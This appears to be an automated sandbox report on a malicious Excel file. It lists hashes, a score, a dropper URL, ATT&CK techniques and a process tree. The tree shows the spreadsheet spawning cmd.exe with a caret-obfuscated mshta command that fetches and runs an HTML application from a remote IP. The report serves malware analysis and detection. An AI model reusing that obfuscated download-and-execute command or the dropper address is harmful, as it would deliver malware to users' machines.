51aa3204169db3c25942ad74067008279d89de64638786635e07ab4f8d20325b

Analysis

max time kernel
118s
max time network
126s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20/11/2024, 14:15

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General

Target

51aa3204169db3c25942ad74067008279d89de64638786635e07ab4f8d20325b.xls
Size

64KB
MD5

2cb654dab58b844f48da1bca06589fc0
SHA1

1f105020db0915011fe85d8d2b1eb24ea0b3fb7e
SHA256

51aa3204169db3c25942ad74067008279d89de64638786635e07ab4f8d20325b
SHA512

3ca6add8d1aa85311a18fabf7016d0874982e648838524042fffddf7fcd61854e77144a99e9459fcae2091e26da89092080737ad79cc7ca11bafc28672150510
SSDEEP

1536:8URk3hbdlylKsgqopeJBWhZFGkE+cL2NdAKNzMk9B+oo1zMk9A+oos:8Mk3hbdlylKsgqopeJBWhZFGkE+cL2N0

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://87.251.86.178/pp/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2808	2688	cmd.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2932	mshta.exe
5	2932	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2688	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2688	EXCEL.EXE
2688	EXCEL.EXE
2688	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2688 wrote to memory of 2808	2688	EXCEL.EXE	30
PID 2688 wrote to memory of 2808	2688	EXCEL.EXE	30
PID 2688 wrote to memory of 2808	2688	EXCEL.EXE	30
PID 2688 wrote to memory of 2808	2688	EXCEL.EXE	30
PID 2808 wrote to memory of 2932	2808	cmd.exe	32
PID 2808 wrote to memory of 2932	2808	cmd.exe	32
PID 2808 wrote to memory of 2932	2808	cmd.exe	32
PID 2808 wrote to memory of 2932	2808	cmd.exe	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\51aa3204169db3c25942ad74067008279d89de64638786635e07ab4f8d20325b.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2688
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://87.251.86.178/pp/cc.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2688-1-0x000000007293D000-0x0000000072948000-memory.dmp

Filesize
44KB

Download
memory/2688-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2688-11-0x000000007293D000-0x0000000072948000-memory.dmp

Filesize
44KB

Download